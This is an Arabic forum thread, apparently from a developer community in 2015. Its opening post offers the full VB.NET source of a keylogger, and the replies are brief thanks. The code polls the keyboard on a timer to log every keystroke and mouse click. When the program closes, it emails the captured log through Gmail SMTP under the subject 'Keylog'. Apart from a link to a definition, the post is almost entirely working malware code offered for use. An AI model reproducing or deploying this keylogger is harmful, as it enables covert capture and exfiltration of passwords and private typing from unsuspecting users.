حالة الموضوع:
مغلق
  1. GhOst Al iraqi

    GhOst Al iraqi DeveloPer Plus

    الأنتساب:
    ‏29 يوليو 2015
    المشاركات:
    98
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    السلام عليكم ورحمه الله وبركاته
    بعد غياب طويل عدنا من جديد بشرح بسيط وهوه
    مفهوم الكي لوجر
    لتعمق فيه
    مصدر - wikipedia
    http://cutt.us/ghostghostghost
    --------------
    شرح بسيط وتطبيق على vb.net -
    https://www.youtube.com/watch?v=cLYY1heiEQI&feature=youtu.be

    بالنسبة للسورس

    ========================

    كود:
    Imports System.Net.Mail
     Public Class Form1
         Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
         Public log As String
         Public ghost As String
         Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
             Timer1.Start()
         End Sub
      
         Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
             If (GetAsyncKeyState(65)) Then
                 log = log + "A"
             ElseIf (GetAsyncKeyState(66)) Then
                 log = log + "B"
             ElseIf (GetAsyncKeyState(67)) Then
                 log = log + "C"
             ElseIf (GetAsyncKeyState(68)) Then
                 log = log + "D"
             ElseIf (GetAsyncKeyState(69)) Then
                 log = log + "E"
             ElseIf (GetAsyncKeyState(70)) Then
                 log = log + "F"
             ElseIf (GetAsyncKeyState(71)) Then
                 log = log + "G"
             ElseIf (GetAsyncKeyState(72)) Then
                 log = log + "H"
             ElseIf (GetAsyncKeyState(73)) Then
                 log = log + "I"
             ElseIf (GetAsyncKeyState(74)) Then
                 log = log + "J"
             ElseIf (GetAsyncKeyState(75)) Then
                 log = log + "K"
             ElseIf (GetAsyncKeyState(76)) Then
                 log = log + "L"
             ElseIf (GetAsyncKeyState(77)) Then
                 log = log + "M"
             ElseIf (GetAsyncKeyState(78)) Then
                 log = log + "N"
             ElseIf (GetAsyncKeyState(79)) Then
                 log = log + "O"
             ElseIf (GetAsyncKeyState(80)) Then
                 log = log + "P"
             ElseIf (GetAsyncKeyState(81)) Then
                 log = log + "Q"
             ElseIf (GetAsyncKeyState(82)) Then
                 log = log + "R"
             ElseIf (GetAsyncKeyState(83)) Then
                 log = log + "S"
             ElseIf (GetAsyncKeyState(84)) Then
                 log = log + "T"
             ElseIf (GetAsyncKeyState(85)) Then
                 log = log + "U"
             ElseIf (GetAsyncKeyState(86)) Then
                 log = log + "V"
             ElseIf (GetAsyncKeyState(87)) Then
                 log = log + "W"
             ElseIf (GetAsyncKeyState(88)) Then
                 log = log + "X"
             ElseIf (GetAsyncKeyState(89)) Then
                 log = log + "Y"
             ElseIf (GetAsyncKeyState(90)) Then
                 log = log + "Z"
             ElseIf (GetAsyncKeyState(48)) Then
                 log = log + "0"
             ElseIf (GetAsyncKeyState(49)) Then
                 log = log + "1"
             ElseIf (GetAsyncKeyState(50)) Then
                 log = log + "2"
             ElseIf (GetAsyncKeyState(51)) Then
                 log = log + "3"
             ElseIf (GetAsyncKeyState(52)) Then
                 log = log + "4"
             ElseIf (GetAsyncKeyState(53)) Then
                 log = log + "5"
             ElseIf (GetAsyncKeyState(54)) Then
                 log = log + "6"
             ElseIf (GetAsyncKeyState(55)) Then
                 log = log + "7"
             ElseIf (GetAsyncKeyState(56)) Then
                 log = log + "8"
             ElseIf (GetAsyncKeyState(57)) Then
                 log = log + "9"
             ElseIf (GetAsyncKeyState(96)) Then
                 log = log + "{Num0}"
             ElseIf (GetAsyncKeyState(97)) Then
                 log = log + "{Num1}"
             ElseIf (GetAsyncKeyState(98)) Then
                 log = log + "{Num2}"
             ElseIf (GetAsyncKeyState(99)) Then
                 log = log + "{Num3}"
             ElseIf (GetAsyncKeyState(100)) Then
                 log = log + "{Num4}"
             ElseIf (GetAsyncKeyState(101)) Then
                 log = log + "{Num5}"
             ElseIf (GetAsyncKeyState(102)) Then
                 log = log + "{Num6}"
             ElseIf (GetAsyncKeyState(103)) Then
                 log = log + "{Num7}"
             ElseIf (GetAsyncKeyState(104)) Then
                 log = log + "{Num8}"
             ElseIf (GetAsyncKeyState(105)) Then
                 log = log + "{Num9}"
             ElseIf (GetAsyncKeyState(106)) Then
                 log = log + "{Num*}"
             ElseIf (GetAsyncKeyState(107)) Then
                 log = log + "{Num+}"
             ElseIf (GetAsyncKeyState(13)) Then
                 log = log + "{Enter}"
             ElseIf (GetAsyncKeyState(109)) Then
                 log = log + "{Num-}"
             ElseIf (GetAsyncKeyState(110)) Then
                 log = log + "{Num.}"
             ElseIf (GetAsyncKeyState(111)) Then
                 log = log + "{Num/}"
             ElseIf (GetAsyncKeyState(32)) Then
                 log = log + " "
             ElseIf (GetAsyncKeyState(8)) Then
                 log = log + "{Backspace}"
             ElseIf (GetAsyncKeyState(9)) Then
                 log = log + "{Tab}"
             ElseIf (GetAsyncKeyState(16)) Then
                 log = log + "{Shift}"
             ElseIf (GetAsyncKeyState(17)) Then
                 log = log + "{Control}"
             ElseIf (GetAsyncKeyState(20)) Then
                 log = log + "{Caps}"
             ElseIf (GetAsyncKeyState(27)) Then
                 log = log + "{Esc}"
             ElseIf (GetAsyncKeyState(33)) Then
                 log = log + "{PGup}"
             ElseIf (GetAsyncKeyState(34)) Then
                 log = log + "{PGdn}"
             ElseIf (GetAsyncKeyState(35)) Then
                 log = log + "{End}"
             ElseIf (GetAsyncKeyState(36)) Then
                 log = log + "{Home}"
             ElseIf (GetAsyncKeyState(37)) Then
                 log = log + "{LArrow}"
             ElseIf (GetAsyncKeyState(38)) Then
                 log = log + "{UArrow}"
             ElseIf (GetAsyncKeyState(39)) Then
                 log = log + "{RArrow}"
             ElseIf (GetAsyncKeyState(40)) Then
                 log = log + "{DArrow}"
             ElseIf (GetAsyncKeyState(45)) Then
                 log = log + "{Insert}"
             ElseIf (GetAsyncKeyState(46)) Then
                 log = log + "{Del}"
             ElseIf (GetAsyncKeyState(144)) Then
                 log = log + "{NumLock}"
             ElseIf (GetAsyncKeyState(188)) Then
                 log = log + "{,}"
             ElseIf (GetAsyncKeyState(1)) Then
                 log = log + "[L]"
             ElseIf (GetAsyncKeyState(2)) Then
                 log = log + "[R]"
             End If
         End Sub
      
         Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
             RichTextBox1.Text = log
         End Sub
      
         Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
             sendmail()
         End Sub
      
         Private Sub sendmail()
             Dim Mail As New MailMessage
             Mail.Subject = "Keylog"
             Mail.To.Add("...@gmail.com")
             Mail.From = New MailAddress("....@gmail.com")
             Mail.Body = log
             Dim SMTP As New SmtpClient("smtp.gmail.com")
             SMTP.EnableSsl = True
             SMTP.Credentials = New System.Net.NetworkCredential("....@gmail.com", "pass")
             SMTP.Port = "666"
             SMTP.Send(Mail)
         End Sub
      
         Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
             End
      
         End Sub
     End Class
    =================================

    في امان الله
     
    آخر تعديل بواسطة المشرف: ‏28 سبتمبر 2015
  2. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    كما تعودنا منك في كل جديد )4:"
     
  3. Mira

    Mira .::|| Tale of Remorse ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    657
    الإعجابات المتلقاة:
    117
    نقاط الجائزة:
    43
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    [​IMG]عاشت ايدك على الشرح[​IMG]
     
  4. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    بارك الله بيك ^^
     
  5. اوجاع

    اوجاع موقوف لمخالفة الشروط

    الأنتساب:
    ‏28 سبتمبر 2015
    المشاركات:
    185
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    المخالفات
    3
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    مشكور يعطيكك العافيهه
     
  6. Mustafa Moshkela

    Mustafa Moshkela DeveloPer Plus

    الأنتساب:
    ‏6 نوفمبر 2014
    المشاركات:
    213
    الإعجابات المتلقاة:
    10
    نقاط الجائزة:
    18
    الوظيفة:
    طالب
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت ايدك وردة {1!$1}​
     
  7. Boymoon

    Boymoon Developer

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    46
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    الله يعطيك العافية
    ع طرح السورس
    جاري الاطلاع عليه
    ً#ٌ5oًًًُ.ً#ٌ5oًًًُ.ً#ٌ5oًًًُ.​
     
  8. Janet CHaldean

    Janet CHaldean مشرفه أقسام التصميم والجرافيكس V • I • P

    الأنتساب:
    ‏5 يناير 2015
    المشاركات:
    532
    الإعجابات المتلقاة:
    1,238
    نقاط الجائزة:
    93
    الجنس:
    أنثى
    الوظيفة:
    Diplomacy
    الإقامة:
    Kingdom of Norway
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت الايادي
     
  9. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاشت ايدك شرح رووعة

     
  10. Security ALqassem

    Security ALqassem Developer

    الأنتساب:
    ‏7 سبتمبر 2015
    المشاركات:
    128
    الإعجابات المتلقاة:
    32
    نقاط الجائزة:
    28
    رد: شرح مفهوم الـ Key Logger + تطبيق بسيط vb.net + السورس

    عاااشت ايدك وردة
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة